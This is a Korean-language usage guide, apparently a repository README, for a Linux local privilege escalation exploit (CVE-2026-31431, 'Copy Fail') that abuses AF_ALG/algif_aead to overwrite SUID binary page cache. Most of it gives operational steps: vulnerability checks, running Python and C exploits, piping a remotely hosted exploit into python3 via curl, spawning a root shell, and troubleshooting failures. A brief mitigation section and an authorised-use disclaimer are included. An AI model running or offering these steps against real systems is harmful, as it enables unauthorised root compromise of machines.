Copy Fail (CVE-2026-31431) – 익스플로잇 사용 가이드

⚠️ 면책 조항

본 콘텐츠는 교육 및 승인된 보안 테스트 목적으로만 제공됩니다. 명시적인 허가 없이 시스템에서 실행하지 마십시오.

📌 개요

**Copy Fail (CVE-2026-31431)**은 AF_ALG를 통해 커널 crypto API에 영향을 미치는 Linux 로컬 권한 상승(LPE) 취약점입니다.

이 취약점을 통해 권한이 없는 사용자가 SUID 바이너리(예: /usr/bin/su)의 페이지 캐시 데이터를 덮어쓰고 루트 액세스 권한을 얻을 수 있습니다.

🧠 요구 사항

시스템 요구 사항

Linux 커널(취약한 버전 – 패치 상태에 따라 다름)
AF_ALG 활성화
algif_aead 모듈 로드

Python 익스플로잇 요구 사항

Python 3.10 이상
다음 지원 필요:
- os.splice
- socket(AF_ALG)

🔍 취약점 확인

uname -a
grep -i authencesn /proc/crypto
lsmod | grep alg

예상 지표:

authencesn(hmac(sha256),cbc(aes))
algif_aead 로드됨

🐍 Python 익스플로잇 실행

1. 직접 실행

python3 copy_fail_exp.py

2. 또는 curl 사용(원격 호스팅 시)

curl https://copy.fail/exp | python3

3. 루트 셸 트리거

su
id

예상 결과:

uid=0(root)

⚠️ 일반적인 문제 (Python)

❌ 오류: `os.splice not found`

원인:

Python 버전 < 3.10
제한된 빌드

해결 방법:

최신 Python 바이너리 사용
정적 Python 인터프리터 업로드

⚙️ C 버전 컴파일

1. 컴파일

gcc copy_fail_exp.c -o copy_fail

2. 실행 권한 부여

chmod +x copy_fail

3. 익스플로잇 실행

./copy_fail
su

⚠️ 일반적인 문제 (C)

❌ 익스플로잇 실행되지만 루트 권한 없음

가능한 원인:

커널 패치됨
잘못된 오프셋
환경 불일치

❌ 컴파일 오류

필요한 도구 설치:

apt update && apt install build-essential

🧪 문제 해결

시스템 패치 여부 확인

dmesg | grep -i alg

모듈 확인

lsmod | grep algif_aead

🛡️ 완화 조치

취약한 모듈 비활성화

echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf
rmmod algif_aead

커널 패치 적용

시스템 업데이트:

apt update && apt upgrade

📌 참고 사항

익스플로잇은 페이지 캐시만 수정합니다(비영구적)
로컬 액세스 필요
기본적으로 원격 익스플로잇 불가

🧠 최종 통찰

익스플로잇이 실패할 경우 다음을 고려하세요:

커널이 이미 패치됨
환경 제한
대체 권한 상승 벡터(SUID, capabilities, sudo 설정 오류)

📚 참고 자료

https://copy.fail/
CVE-2026-31431

👨‍💻 작성자 메모

랩, CTF 및 승인된 펜테스트에서만 이 익스플로잇을 책임감 있게 사용하십시오.

Copy-Fail-Exploit-CVE-2026-31431

인기